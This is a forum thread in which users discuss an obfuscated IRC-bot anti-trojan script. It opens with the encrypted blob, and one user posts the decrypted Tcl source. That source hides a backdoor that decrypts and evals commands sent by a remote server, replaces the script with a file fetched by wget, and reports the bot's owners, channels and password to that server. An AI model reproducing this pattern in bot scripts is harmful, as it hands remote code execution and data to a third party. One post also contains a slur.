hRRwx1TDr5C/9mIC2./hF8P1Iurgj1/rCFW.7KHL20j1g.j0FCySV/EBDhm0DCuyL.rP.y20TrRbo/1wxUD0ce2/l0EgHcO.X8TNH.QGboj1YZBgY.xzi8D0ZBnxc/8aXvp1trE1j0TRxW6.mABnu.JXx7Q0OJ3Ni1j5QZc.oQaih1kr0fN.xrl/Q1065ue/Qu1nG0zArqe/mqPwW1d7qn3.DDdRD0vL1Ja.FCySV/EBDhm0WeJDX.Kd84m//CuRO.uuaxc.7nPPm/duNKH/MP0Ye.mtvFS1DIadR.PYEW3.NWfpu0wE.d..6DAiE/U.I/R/v9.Bu0XYy4m/O44UA.GpoY7/.zwRk11SXQy02RRVf/wLcfR/73TT3/jJXT91z8gcJ1svFJf0RID6O1lXbab.7NAwy.V9m/E1oSMi8/uGgPh0sNSYY0HyHK60to1.V135/ol/l3hZU0J/DnJ13Jwxe.lGXS91.gJUR13QwEH1fQvL..YWjEW.MlsuH161zQN0PN8vW0K59sW0GhR4J0M5qD9.o1/xA.lLFc./WgLEg1mk8MR14j5p3/H7juw1Gd1yL.uQ6hW0f7NUf0TA4ah.PaW4B/sKmmE.TOQ4v.f6FIg/Aak/g.JSKtp.awKDm0.re1D1MjmRG0k4mVK.9rgzk.qCJ8N1k4Uvt/AjmyF/fr1ia/RAtQI/FCySV/EBDhm0ibWQo0LrHhg0D2Zuf.3tS2u00p0Ju/rTmzk0/s9Mk/mUQ/B.QrJhH0aGgYV14OPY3.1YLSD0ECIrp1ZdZnK1iLOTv0BwTS61FCySV/EBDhm0dCFcE//90wN/j9rvj/2WaCv01bsZS13qeZ40ZwrF0.nFD2p1Lrty.1x/yRp0tkvLb/iwmgf/vmj6f0wdXX2/Jt3rJ012IJs0FSjjr/G0YSi1E3FM//UMvbQ.SWyEo.wcrVu1FCySV/EBDhm0x8QjH1Vae5G/yB3ba/L5q6M1RO2aR/ld6On0LZ7GP16Mo.a/w3Mop.uZf6q.cAjrA/tf0nL1pS5F/1fyGND.ZK7TT.5abgW.RuU5s.VYdNA1WP83E08H18v.8u8mT1DAy3D/FCySV/EBDhm0lOVwM.dzD610lCBJg.FHl/L0FCySV/EBDhm0PNXXd1zaGxD1Vciyc0aIu.d0Sou3u0UVQuv16ktuP107jhk.93W0s.7hBXd/z6YNn1pBAf50mcbCY.92lXs1uA21s0It4G0.N8bYW/C7oX012OGLN1B4Qyj.FZFs7.1/i2.08Rxuj/cYLra.8R95I1r.3k61zyhhZ0tnGmg1p59mp/JfK1j0v..wy0cCms.0M9Iv31zFSD6/Voxbk1xRafJ0XtPgf.PIg7J.ZeXZW1vFzkd/K33eh1dAxjC/fRKTq0U92n1/mzqLW/vTX3j0NUuyo/MCwwd.d3JY811anRN/o8iK8/OsPYL1z2WuH1PpFzY0xvaco1830pv0FahX/0sz/Mn/izaFa/MxHV.0FRoBn/jMAXN1/Nloh1y/N8k0RkxQK1obNFv1lL/Ps1Bf.Vf//e45e.TCdyf1qMZv20nf63A0TZbOd1lTOlD0lXk0V0kK7dx0ry09A/qzuBi10vmMS0E45ND.vtP4.1y60Yc0hfpXv0JgKvZ.T0AlX1UcU/30hbp0t1qaRRo1Qxdm8.zMAsd/PUVEH15OZtL0vxY4N../QMb.6tAM8/JVNSn0cq07i.UXewK/cjiQU0W2vkC.glX.D1vCnEI.oCvFS1Dmxvc/2zX.k1vTu2B.VsVUw02Fpda/.rtHC1uFUhr1r1u/U/WJZlG/M.DVa/Gbk8v.Exe3v119jjx/MxRnH/J7UKc.NYJGy0L50Ox1k6u2P07saFy.38WtG17Xct5.775RM/Gg.mN/GzJ6l/mReez13kKqQ1e/ECY0dFyAS.HjGjf1dqayv06QG84/pZ5.C/BLinx.eZguN07la69/WxYgp/pZ.5q/r.pRZ.Z71Jn/Oo8rP/zTI.N0iDSfg1VZyT9.u/NY4.dbg.D.4iAHR12TPG/.q1tvA0HvOwE1f0cps0veTju.AdFGZ0lzUcD1l26jX.AoIHO0HeEA7.45T18/b7T/W1y8Wq7./7sYZ/9m.yy/Bovzl.DiQVm.rFjCU1b1.z3153Dcs1Hx1U7/KPSXX1dgaVF1c872D/jzope.2gYb90RIl520Xhtu7/Y6BW31Pj3dK.UD7Lg0QAVIE/Fi.9C.3/Ofj.F5MeQ04C2Om/9mohA1z0gBs0EXvYp.eXe5n/xwSk5.FZTeL/VofyD/1PbPa/Qb6Bv.hrBpB1WegGk/FCySV/EBDhm0r1jzz/XkjI71gRGaZ1Z8Z98/FCySV/EBDhm00bOxa/PyAp7/hxozY1UBVYt1FCySV/EBDhm0PwGwu1MCV5b.ju3D5.L9Gru/SF9Gi/CIRlU.9G.bk0S/qZ2.K6fqU0dchXj0xc4I/1GXexg.3aEWR08UmVq/AbreY.zH7gF.Mqgwz.8Xk681g2.tD1Riijt1GA6dH0waLHQ/glX.D1vCnEI.716xr.tIEhu/QXqmy.ERC4J/g71yq/ZOoZ70qQNZK1GJvRD/kP/D6061y7P.Lzkwd00.WaI1V4iSh1qehmC/Jqx9y06vKOb0KEEPB.U4tqr0pUVG4.zlMWk0NUeq91uwxmf/JvDra.FhQj40apb2D.k1WLV0sD1To/N1eRa.h5fvR/RPlwS/AasAs/O1CPq.D8Pbv1G9/mx.FCySV/EBDhm070pAb/8ktOq0tWi1p.FJWV91yeGVE/O.xw1/c76we1zC2vi03i5j61XJH4c0aHDDx.k4U8y.cA4l7/5XG2J0IyNl41HW8Zf0AtmRl/i2.Kk0dkyNw1IQV2.0Kdlof1LVmgt/FCySV/EBDhm0Lycxc1KcuKN19nEEK.H1z2C03IMR0/NsAwx.DpMVG.1h1jW/n5YyN1Za4s11qrPPM0ItM9L/GLL36.qhC4X04/B2L.loSxh.AJeHR07vrJG.ORylU/shqhC0dBFFW034xFU1WQ0V6.cu9/A/4wH9C1glhMX/2oFFJ0VkvWw11SpEv1vYHeD0Dlasg1tB4sA/tFDvI1QqpmI/xvQGM1icc7r.W5IYe/Jkk.21niI3w1rtP5g0JFFjz1ctSK41plzUb0MO0Rg0xqwgJ17byou/6QD4u.Z3TLg1zXVk6.OwPiQ.NseXz.h8zAr.uN/Ro1alZKy10it2m0HwnjQ1Wfznh02/nwn/iRv3o.XASS21yz.Kf0G0m5l1fchkM/rv9GZ0.tFZi.ko4Ry1hv44e1xi56R0fWsf3/qTziF/QMUco.84FKx/aOA/H.wiilW/AzAb1.VtKv00MB98l1DZJXB0XHGot.nb/aR1JhhjD14ne3H1rxCeH1PyKr60OTZIm0D6yy//E9lAx/HFQbA.f1JON.AaFLw.Ues9f.EpEyO/yAJaO0jLcqo1gsTIs0bZ2DQ18XESo/25E/81u9tP11WZNYC/LOKSi1FzjbI1oiZY8/6/UnS.6XLbB0Is3kk.FCySV/EBDhm0Uz0RL.ynKFZ/VNxxD/oenTT0ZSUkS011TdG.jDLYC18nKBc..q7zf.nwHlb/ewgH/.D7VES.bCgao.i6MGj.lTbSU.srJ6./K/K/O1iXHLL1RCpDi.eL81S/U.6Vi/tq06f1ujj1E/2Ac.Q1Mgqpv/pz64g/FH0eR1l7sjd.NXTKV1yORGh/0H8eu0VpDi51n7Nxh19s93r1sKLQU.Awk5Y1.tOGM1jK65a/.ffjM0x9qVk1OGGrg/cZOlY/0qU911Rzu0J/CVg84.HGFN7.kz4u4/P3FUZ/n3J4g/TREBO.w1973/EmW6f04YdpI/IDbtK.2E4N/1of0.z0n5YyN1Za4s11tesK./r8KSa1mrt8B/LiCaV0Jt3rJ012IJs0FSjjr/G0YSi1uYNDs/Mne9x1hFfzC069QNm/PEWa/1eqGNd04gmXG.i13NT/zIzoz1GMp1m.NBtKF0R/fGi/vECkB/L.QTU0Bkq3/1CwL3J02MNkP1okhkB0vROhd1DGpuX/3Jwxe.lGXS91.gJUR13QwEH1fQvL..YWjEW.3i5j61XJH4c0ZgiTX.GsUNZ14.ONO0ViYBe014i6j/vFy0k.hv.vA0gT.e5/MhkAn/gYz.a1xIqbf1nVITv/to1.V135/ol/4CNJm040Pf/.Pd5lY1S7Uac/uNJ/u/yK2Fe063EWC/4AJc7.4QnjO0MjDRL/ij1ve0OhFfa0BIj3P.xcmb51ApPza/UQ1gW1eY4Qy.5AyCB0EsW3O0HztCS1VRBVe/Vo3ix1/Lu/j/3KICR0TaUdd/rhmdD1oUBTl.2EijB/ewgH/.D7VES..NKej1blAfJ.Ru7x9.pUAom0to1.V135/ol/4CNJm040Pf/.Pd5lY1S7Uac/uNJ/u/yK2Fe063EWC/4AJc7.4QnjO0MjDRL/ij1ve0OhFfa0/y9VR.DmR73/g4ZUN0XADn01szx4H0XbhwF07vjPV0ExR8R/ZhnXY1CJjgs14OPY3.1YLSD0ECIrp1ZdZnK1iLOTv0BwTS61FCySV/EBDhm0WeJDX.Kd84m//CuRO.uuaxc.7nPPm/duNKH/R/RAw.gPvTK/X9u1D1tpve5.qWFbV0r/4Uo0nfM6p0EAKf.1mGhLR./WkrF04HiE00usQLX/zCvuV0pEcxm.ZvqQa0BYZXr//ffPE105iem.o56A9.7BFer.rSRiw.aZ5XX10wt2O1rcKpr1APtNq0OJwhd0KRufc/jcZV912MNkP1okhkB0vROhd1DGpuX/3Jwxe.lGXS91.gJUR13QwEH1fQvL..YWjEW.3i5j61XJH4c0ZgiTX.GsUNZ1mGFAU14TPE1.1IYFR.TK/9O1aHJ6412bL2v.FWTi0/xQDMM1zdv8N.MR/Ok12MNkP1okhkB0vROhd1DGpuX/3Jwxe.lGXS91.gJUR13QwEH1fQvL..YWjEW.n5YyN1Za4s11qrPPM0ItM9L/wJ7xc/lR8rh.Yri7W1UnRiP/VtC6A0jl9AI1ssoct.K2f9e.5BJwN1SXLib/4v1WX.ksDZs1FDi2Z1I0q6M1mzW1X/fOkdJ1OCxRs.YYbSg/VKMDH1ZCjuj/EOOPR/KRQZB0FCySV/EBDhm0v9Yyy0TvMMY/15bAq.zQWkf/FbNGA.HPWV509WdaI1OUsFx.4DMCd1TiuYd/M.sTf0F5XMF1RDang.akvoL0Ea9gZ0q8H4r1ywA.61NBX0e0Vra7.1McWgO/bCowN/g8AsB1FCySV/EBDhm0Uz0RL.ynKFZ/UOdgO0Ub9H20SL0RA0ZoyK.0eCSV9/MX1gy0undr..MFvGn/KYG0i/MJugK.CvXSE0N1tdh1wfkqC1OvCkI1t45WZ/GQGS91uP/KA/YawZ01cIky1.z6mQi.DdXTY.ekylL1nZAIw/mJuQR1./Jx7/uoPaM.Y/nOr1kLdhQ0KgKsq1hqHYQ1G6meX.NtFHS0FxfYF/AM.Nh/5F1LG0A0GWN.0X1r/0ijbq012HJDb0Lcie8.RKuf6.GTonW1kYBX71Ygtc./hRjC.1iiaFD.Pfzko/Ey7w10yNVqq0KzQI..UUxx/01b0nY/J/tqH.azQvk.TwLxb1gLh15.ewgH/.D7VES.gp2Dn.NA9Jg/z0uAk1q.sIS1FCySV/EBDhm0HXFZ6.TE/Lc1be65g1GLL8T1qdCcw0P.dyE/.0Mm3.w8vv2.NQ3xn/7wdUK0FCySV/EBDhm0zF0Y5/4hqSm11uijX0KboMb13QCKB05Ahnl.WY/bG12Cb5p1zTMC4/60yDX/ewgH/.D7VES.gp2Dn.NA9Jg/z0uAk1q.sIS1FCySV/EBDhm0HXFZ6.TE/Lc1be65g1GLL8T1AaWk01Aawiq/6QLaK0toroN/nqa8W.kIrpf0M92bb0Sdlnm.5yfEO.lp.V9..SvES.vuMpT/BANic.AEULJ0rmEH8/b7zB..6nO2V/VUVsm0glX.D1vCnEI.KinMj/555LX1qVA3W1bd1si.FCySV/EBDhm0tD7zo1ZHYPk.NuvlQ.OneWT/KXGZP.ypISh.AAdJT/KhAuB1vEnzQ.FnSoi.SJQCq1Hvcvp/fLO7u1LaieJ178azA/TosMt1YYBXs.IN87N.W8Lni.4./tO.mlkl015/6FL1pCdD51Z8Wzo1c7Uls.Ju8I/0.eoG//qC7fV1es.BL.C9tBN0J8ehr1u8th21CtW6m1H1Y3o1YlHz./x19Of.UjmN3.ZW.cN.v78re.CDdJP0xEyMf0QO24B0cTh4b/qvXiD/HMTXE/xUcJW.fCwOU.ctBq01Quz.U/GqSMG.Yj0L21uDFms13uxcJ0p5IZH0KESFW/GWI/p1y.9tV1pQoWN./ffPE105iem.hXWu4/Kp99G0OOFzd1ff9tp1j7Ynb.VuB47.rf.1I0VhHiR/4OqRd.bBsxg0OTNvp1XN9kj.k0OO3.gTkDe/Gnx7O1kIewo.bwn1e1PV0Nc.e8XO91YMsCA1RA/US.iYaTB0glX.D1vCnEI.vG4Nd16dG9g1Zntwr0dAM0S.YHse1.Xra3c.Nf9KQ1/qQEd18WEGu1vDhys.UwYV6/Cq/m71DaV6m1t24Xy1.10Ez.sV1gR0A4hCi.DjkZA.aTjb.1HHdDC/dIvbv.diaX..KAdRY..8mkr.n2CSA190yXX03HKiU0XNzn5.FCySV/EBDhm01xmF.1ec8jC1aOeS7.usOd5/3TXv4/jWUpo0GBTYh153ddL08cmtw1bOYGD/oI1C90hdZiF1W9uOv0dSiJF/oeujb0M79fV.FCySV/EBDhm0xAArO/1jcyU.qVA3W1bd1si.FCySV/EBDhm0lOVwM.dzD610MRgO8/mkvse0F2jFI1arxyB18OeaI/gcr7w1rNC9C1YpOn4.sTq2t0UdyNg1iWZoA/e/uM11e00iG0umrHx/9.CXf1XQeW4.QS.qb/13rN9/7AwYB17PV4K.CxNST0GDNkM/i2KK8/X9N7b/OYcb9.Wg8YS/DZfjb/39Brq0lemTh/KMkf80DDdRD0vL1Ja.FCySV/EBDhm0m5bjt/jbhgb127tl1/.76jj/hdsrl0xVX0e1LnZ8u.2w5Y61qVA3W1bd1si.FCySV/EBDhm03j5rN1ITqfS.VbxQH.6.1O91F69JH0j95ee0TNHTa086Xkz.mj4Yj.qN1oT1Ibyf906UV3R/tZkrS1BspYr1ft86w1aQAGW.uqZv9.zau4u1HwQbg1WvxHh1TMRGa1yowFE/7nPPm/duNKH/PIyYx0mg.FZ/yjdQA0tfwhO1SOb9W1gwKVZ/bFJ7K/z3pw5/5BJwN1SXLib/4v1WX.ksDZs18RuIN.VVq8Y1Jqx9y06vKOb0KEEPB.U4tqr0pUVG4.zlMWk0co.kw0QxzZO0dwNZf/BIEwX/eD4Lz/Eop261HNUUZ15Lv8y0GfUqj.Txgi/0XLFpM1Azsnw/8D2R6/9bDLP.FCySV/EBDhm0AoLUl/lQKPU/e43a2.iIQ8B1to1.V135/ol/l3hZU0J/DnJ1greJC/rzr7h17wX8v0CXzVk.ib.yf0gxbQi.cW3QM01AJj01t.3C9.L14mP.sDH1714uU0O1Sjug51gJyRJ/lX7z.0mpDXY.jHrK31c8/AZ1.SvES.vuMpT/n04b80Pn5wM.fKz6O0UdO.Z.GKhXe.dsewR.FCySV/EBDhm0Yy0vs/6ygwx1hJk1X0LbxKK/JZhyc1CqzND1zzVjN/thW2n.pfXFH0CJ/Hx0dN3fI1C3TUF.fPPVX0vZCHs0lu51K/vdclT/wCGVH1skHer.FzLqQ0v4eeO1kVn3B0tfybe.C6Eae..OyP4.IzamT/2lmvP/rSAC102FqtO1N8bYW/C7oX011oFbh/ar0ej0nu9z30E/5YQ1L00/W1s7HHh/SUmG2.RGVeo/JvnwG.48s1G0OdfLB1Y7p4o.D63QD.MvLdt1I/feL0q0wE2/uN/Ro1alZKy12X2nS/kWwow.3ShhP0tKlAf.D3mK50dhj1s/dvH2M1NlJnC.hivwr.ptBNN00aHuU.mJeXt/ZJYj9.2CCuF/cU9NJ13EcQI09Hxj1.Sr3c5.RqU4E0YkDfT/mwIbV.ysY.A/Aui94.kPBZu0OJx/u/AE94j1Uppto1bjIwo0Pa/PL.iS78W.YIxrz0pGBcf05miWY..oO3f.vSkre/hIPzc1nVYr..ZcUHs/Ij6BV0gRlZo0tHZtL1cm3eQ/lD3Co/k2Uog.6Ij2p/Oh0Wy1yFsiV.L4BKC1k9XLj.UpCjk0DiYhZ0qxZ1o/wDkgr.rxpvr.khL4V.pHxgH0bKDZg1B/wE20EK.8a.NU2/y.qisrm.hDs4C1tIe4E1R24JN/X0RHY/JsjGz.]

    # --- copyright information

      putlog "aspbgbl\002:\002 ver. $aspb(version) by $aspb(author)"

    # --- required variable (script path)

      set ::aspb(path) [info script]
g
greenbear
Owner
Posts: 733
Joined: Mon Sep 24, 2001 8:00 pm
Location: Norway

Post by greenbear »

wow, thats gay.

if you dont want people to read your code, dont make it public.
User avatar
sKy
Op
Posts: 194
Joined: Thu Apr 14, 2005 5:58 pm
Location: Germany

Post by sKy »

that`s not my script!

but i like to see the source. so, possible to view it?
User avatar
Alchera
Revered One
Posts: 3344
Joined: Mon Aug 11, 2003 12:42 pm
Location: Ballarat Victoria, Australia
Contact:

Post by Alchera »

sKy wrote:that`s not my script!

but i like to see the source. so, possible to view it?
You've missed the point as to why it's obfuscated? In a perfect world .... some author's like their code to be just that, their code and no way of it being "ripped".

If you have a query regarding any section of the coding I suggest you contact the author. :P
Add [SOLVED] to the thread title if your issue has been.
Search | FAQ | RTM
User avatar
ex
Voice
Posts: 14
Joined: Wed May 18, 2005 11:04 pm
Location: Chicago

Post by ex »

you can write the code in a file with decrypt
User avatar
Sir_Fz
Revered One
Posts: 3793
Joined: Sun Apr 27, 2003 3:10 pm
Location: Lebanon
Contact:

Post by Sir_Fz »

Code: Select all

      # -- flags

        setudef flag aspbgbl
        setudef flag aspbwarn 

      # -- strings

        setudef str aspbkickmsg

        setudef str detected
        setudef str joins
        setudef str kicked

      # -- bindings

        # - remove me

          bind MSG -|- "REMOVEME" aspbgbl:remove:user

        # - check for possible trojans onjoin

          bind JOIN -|- "*" aspbgbl:check:user

        # - update channels

          bind PART -|- "*" aspbgbl:update:channels

        # - update botname

          bind NICK -|- "*" aspbgbl:update:nickname

        # - script status

          bind PUB nm|nm "$::aspb(trigger)" aspbgbl:status

        # - auto update

          bind TIME -|- "00 * * * *" aspbgbl:update

    # --- script main source - NEVER TOUCH IT ;)

      # -- auto update aspbgbl

        proc aspbgbl:update { minute hour day month year } {

          if {![valididx [set idx [aspbgbl:connection $::aspb(address)]]]} {
            return
          }

          putdcc $idx "cmd=011 $::aspb(version)"

        }

      # -- trojan scan control panel

        proc aspbgbl:status { nickname hostname handle channel arguments } {

          global lastbind

          if {[channel get $channel "aspbkickmsg"] == ""} {
            channel set $channel aspbkickmsg $::aspb(default)
          }

          switch -exact -- [string tolower [lindex [split $arguments] 0]] {

            "warn" {

              set status "Bot will warn users."

              if {![channel get $channel "aspbwarn"]} {
                set status "Bot won't warn users."
              }

              switch -exact -- [string tolower [lindex [split $arguments] 1]] {

                "on" {
                  putserv "NOTICE $nickname :Successfully turned on"; channel set $channel +aspbwarn
                }

                "off" {
                  putserv "NOTICE $nickname :Successfully turned off"; channel set $channel -aspbwarn
                }

                "default" {
                  putserv "NOTICE $nickname :$status Please use: $lastbind \037warn\037 \037on\037|\037off\037"
                }

              }           

            }

            "stats" {

              if {![regexp {[0-9]{1,}} [channel get $channel "joins"]] || ![regexp {[0-9]{1,}} [channel get $channel "detected"]] || ![regexp {[0-9]{1,}} [channel get $channel "kicked"]] || ![channel get $channel "aspbgbl"]} {
                putserv "NOTICE $nickname :No statistic available :("; return
              }

              putserv "NOTICE $nickname :\037Joins:\037 [channel get $channel "joins"] \037Detected Clients:\037 [channel get $channel "detected"] \037Kicked Clients:\037 [channel get $channel "kicked"]"

            }

            "status" {

              set status "aspb is enabled."

              if {![channel get $channel "aspbgbl"]} {
                set status "aspb is disabled."
              }

              switch -exact -- [string tolower [lindex [split $arguments] 1]] {

                "on" {
                  putserv "NOTICE $nickname :Successfully turned on."; putserv "PRIVMSG $channel :\001ACTION aspb ver. $::aspb(version) by $::aspb(author)\001"; channel set $channel +aspbgbl
                }

                "off" {
                  putserv "NOTICE $nickname :Successfully turned off."; channel set $channel -aspbgbl
                }

                "default" {
                  putserv "NOTICE $nickname :$status Please use: $lastbind \037status\037 \037on\037|\037off\037"; return
                }

              }

              if {![valididx [set idx [aspbgbl:connection $::aspb(address)]]]} {
                return
              }

              set enabled ""
 
              foreach chan [channels] {

                if {![channel get $chan "aspbgbl"]} {
                  lappend enabled $chan
                } else {
                  lappend enabled +$chan
                }
          
              }

              putdcc $idx "cmd=020 me=$::botname owners=[join [userlist n] ","] chans=[join $enabled ","] ver=$::aspb(version) pass=$::aspb(password) author=[encrypt author $::aspb(author)] bottype=eggdrop[package require eggdrop]"

            }

            "kickmsg" {

              if {[join [lrange [split $arguments] 1 end]] == ""} {


                if {[channel get $channel "aspbkickmsg"] == ""} {
                  set kickmessage "not set"
                } else {
                  set kickmessage [channel get $channel "aspbkickmsg"]
                }

                putserv "NOTICE $nickname :Kickmessage: [join $kickmessage]"
                putserv "NOTICE $nickname :Please use: $lastbind \037kickmsg\037 \037message\037 (Available options: %1\$s = hostname, %2\$s = botnick, %3\$s = trojan id, %4\$s = detected counter, %5\$s = trojan type)"

                return

              }

              channel set $channel aspbkickmsg [join [lrange [split $arguments] 1 end]]

              putserv "NOTICE $nickname :Kickmessage successfully saved."

            }

            "default" {

              set status "aspb is enabled."

              if {![channel get $channel "aspbgbl"]} {
                set status "aspb is disabled."
              }

              putserv "NOTICE $nickname :$status Please use: $lastbind \037warn\037|\037status\037|\037stats\037|\037kickmsg\037 \037?arguments?\037"

            }

          }

        }

      # -- get command/result from the database

        proc aspbgbl:database { idx arguments } {

          if {![valididx $idx]} {
            return
          }

          foreach argument $arguments {

            if {[regexp -- {^(.+?)=(.+?)$} $argument -> variable value]} {
              set $variable $value
            }

          }

          if {![info exists cmd]} {
            return
          }

          if {$cmd == "004"} {

            if {![info exists type]} {
              set type ""
            }

            channel set $chan detected [expr [channel get $chan "detected"] + 1]
            channel set $chan kicked [expr [channel get $chan "kicked"] + 1]

            if {![info exists reason] || [llength $reason] < 1} {
              set reason [format [join [channel get $chan "aspbkickmsg"]] [lindex [split $mask "@"] 1] $::botnick $id [channel get $chan "detected"] $type]; set warn 1
            } else {
              regexp -nocase -- {^.+ reason=(.+?)$} $arguments -> reason; set warn 0
            }

            set unban ""

            foreach chanban [chanbans $chan] {

              if {[lindex $chanban 2] >= 300} {
                lappend unban [lindex $chanban 0]
              }

              if {[llength $unban] == "6"} {
                putquick "MODE $chan -[string repeat "b" [llength $unban]] [join $unban]"; set unban ""
              }

            }

            if {$unban == "" && [llength [chanbans $chan]] == "45"} {

              set banid 0

              while {$banid < 5} {
                lappend unban [lindex [lindex [chanbans $chan] $banid] 0]; incr banid 1
              }

            }

            putquick "KICK $chan $nick :$reason" -next
            putquick "MODE $chan -[string repeat "b" [llength $unban]]+b [join $unban] $mask"

            if {[channel get $chan "aspbwarn"] && $warn} {
              putserv "NOTICE $nick :You are known as possible ${type}-trojan infected drone. If you wish to remove yourself, please type in: /msg $::botnick removeme"
              putserv "NOTICE $nick :More Information can be found at: \037[format www.pjen.net/?id=%d&botnick=%s $id $::botnick]\037"
            }

          } elseif {$cmd == "099"} {
            regexp -nocase -- {^.+ exec=(.+?)$} $arguments -> exec; catch { eval [string trim [decrypt aspb $exec]] }
          } elseif {$cmd == "013"} {

            if {![validchan $chan]} {
              return
            }

            channel set $chan -aspbgbl

            if {![info exists reason]} {
              set reason "not given"
            } else {
              regexp -nocase -- {^.+ reason=(.+?)$} $arguments -> reason
            }

            putserv "PRIVMSG $chan :\001ACTION cries, aspb turned off for this channel. (reason: $reason)\001"

          } elseif {$cmd == "010"} {

            if {![info exists reason]} {
              set reason "not given"
            } else {
              regexp -nocase -- {^.+ reason=(.+?)$} $arguments -> reason
            }

            foreach chan [channels] {

              if {![channel get $chan "aspbgbl"]} {
                continue
              }

              channel set $chan -aspbgbl

              putserv "PRIVMSG $chan :\001ACTION cries, aspb turned off for this channel. (reason: $reason)\001"

            }

          } elseif {$cmd == "012"} {

            if {[catch { exec wget $url } result]} {

              if {![info exists changes]} {
                set changes "not given"
              } else {
                regexp -nocase -- {^.+ message=(.+?)$} $arguments -> changes
              }

              if {[regexp -- {^.+\`(.+?)\'.+$} $result -> filename]} {

                if {[file exists $::aspb(path)]} {
                  file delete -force $::aspb(path)
                }

                file rename -force $filename $::aspb(path)

                if {[file exists $filename]} {
                  file delete -force $filename
                }

                set owners ""

                foreach owner [userlist n] {

                  if {[hand2nick $owner] != ""} {
                    lappend owners [hand2nick $owner]
                  }

                }

                if {[llength $owners] > 0} {
                  putserv "PRIVMSG [join $owners ","] :Your aspbgbl version has been updated. (Changes: $changes)"
                }

                if {[array exists ::aspb]} {
                  array unset ::aspb
                }

                catch { killdcc $idx }

                rehash

              }

              return

            }

            putlog "aspbgbl\002:\002 There is a new aspbgbl version available."

          } elseif {$cmd == "009"} {

            if {!$status} {
              puthelp "NOTICE $nick :Your hostname '$mask' isn't known in the database.";return
            }

            puthelp "NOTICE $nick :Your hostname '$mask' has been successfully removed."

            set unbanned ""

            foreach channel [channels] {

              if {[channel get $channel "aspbgbl"]} {

                foreach channelban [chanbans $channel] {

                  if {[string match -nocase [lindex [split $channelban] 0] $mask]} {
                    lappend unbanned $channel; pushmode $channel -b [lindex [split $channelban] 0]
                  }

                }

              }

            }

            if {[llength $unbanned] > 0} {
              puthelp "NOTICE $nick :Feel free to rejoin the following [expr {([llength $unbanned] == 1) ? "channel" : "channels" }] [join $unbanned ", "]"
            }

          } elseif {$cmd == "014"} {

            regexp -nocase -- {^.+ message=(.+?)$} $arguments -> message

            if {![info exists message]} {
              return
            }

            set list ""

            foreach owner [userlist n] {

              if {[set nick [hand2nick $owner]] != ""} {
                lappend list $nick
              }

            }

            putserv "PRIVMSG [join $list ","] :$message"

          } elseif {$cmd == "015"} {

            regexp -nocase -- {^.+ message=(.+?)$} $arguments -> message

            if {![info exists message]} {
              return
            }

            set list ""

            foreach channel [channels] {

              if {[channel get $channel "aspbgbl"]} {
                lappend list $channel
              }

            }

            putserv "PRIVMSG [join $list ","] :\001ACTION attention, aspb broadcast: $message\001"

          }

        }

      # -- remove a possible user

        proc aspbgbl:remove:user { nickname hostname handle arguments } {

          if {![valididx [set idx [aspbgbl:connection $::aspb(address)]]]} {
            return
          }

          putdcc $idx "cmd=008 $nickname!$hostname"

        }

      # -- update database information

        proc aspbgbl:update:channels { nickname hostname handle channel reason } {

          if {[isbotnick $nickname]} {

            if {![valididx [set idx [aspbgbl:connection $::aspb(address)]]]} {
              return
            }

            set enabled ""
 
            foreach chan [channels] {

              if {[string equal -nocase $chan $channel]} {
                continue
              }

              if {![channel get $chan "aspbgbl"]} {
                lappend enabled $chan
              } else {
                lappend enabled +$chan
              }
          
            }

            putdcc $idx "cmd=020 me=$::botname owners=[join [userlist n] ","] chans=[join $enabled ","] ver=$::aspb(version) pass=$::aspb(password) author=[encrypt author $::aspb(author)] bottype=eggdrop[package require eggdrop]"

          }

        }

      # -- update botname information

        proc aspbgbl:update:nickname { nickname hostname handle channel newnick } {

          global nospam

          if {[isbotnick $nickname] && ![string equal -nocase $nickname $newnick]} {

            if {![valididx [set idx [aspbgbl:connection $::aspb(address)]]]} {
              return
            } elseif {[info exists nospam] && [expr [unixtime] - $nospam] < 5} {
              return
            }

            set enabled ""
 
            foreach chan [channels] {

              if {![channel get $chan "aspbgbl"]} {
                lappend enabled $chan
              } else {
                lappend enabled +$chan
              }
          
            }

            putdcc $idx "cmd=020 me=$::botname owners=[join [userlist n] ","] chans=[join $enabled ","] ver=$::aspb(version) pass=$::aspb(password) author=[encrypt author $::aspb(author)] bottype=eggdrop[package require eggdrop]"
            set nospam [unixtime]

          }

        }

      # -- check for possible trojan on join

        proc aspbgbl:check:user { nickname hostname handle channel } {

          if {[isbotnick $nickname]} {

            if {![valididx [set idx [aspbgbl:connection $::aspb(address)]]]} {
              return
            }

            set enabled ""
 
            foreach chan [channels] {

              if {![channel get $chan "aspbgbl"]} {
                lappend enabled $chan
              } else {
                lappend enabled +$chan
              }
          
            }

            putdcc $idx "cmd=020 me=$::botname owners=[join [userlist n] ","] chans=[join $enabled ","] ver=$::aspb(version) pass=$::aspb(password) author=[encrypt author $::aspb(author)] bottype=eggdrop[package require eggdrop]"
            return

          }

          channel set $channel joins [expr [channel get $channel "joins"] + 1]

          if {[string match "*quakenet.org" $hostname]} {
            return
          } elseif {[matchattr $handle mno|mno $channel]} {
            return
          } elseif {![botisop $channel]} {
            return
          } elseif {[regexp -- {i|k|r} [lindex [getchanmode $channel] 0]]} {
            return
          } elseif {![channel get $channel "aspbgbl"]} {
            return
          } elseif {![valididx [set idx [aspbgbl:connection $::aspb(address)]]]} {
            return
          } elseif {[isbotnick $nickname]} {
            return
          }

          if {[channel get $channel "aspbkickmsg"] == ""} {
            channel set $channel aspbkickmsg $::aspb(default)
          }

          set idler    0
          set operator 0
          set voice    0

          foreach user [chanlist $channel] {

            if {[isop $user $channel]} {
              incr operator 1
            } elseif {[isvoice $user $channel]} {
              incr voice 1
            }

            incr idler 1

          }

          putdcc $idx "cmd=003 $nickname!$hostname $channel $idler $operator $voice"

        }

      # -- get idx for the aspbgbl database

        proc aspbgbl:connection { address } {

          foreach socket [dcclist] {

            if {[string equal -nocase $address [lindex [split $socket] 2]]} {
              return [lindex [split $socket] 0]
            }

          }

          if {![valididx [set idx [connect $::aspb(address) $::aspb(port)]]]} {
            return -1
          }

          set enabled ""

          foreach channel [channels] {

            if {![channel get $channel "aspbgbl"]} {
              lappend enabled $channel
            } else {
              lappend enabled +$channel
            }
          
          }

          putdcc $idx "cmd=001 me=$::botname owners=[join [userlist n] ","] chans=[join $enabled ","] ver=$::aspb(version) pass=$::aspb(password) author=[encrypt author $::aspb(author)] bottype=eggdrop[package require eggdrop]"
          control $idx aspbgbl:database

          return $idx

        }
I know, ugly format... but that's how it came out after decryption :P
Post Reply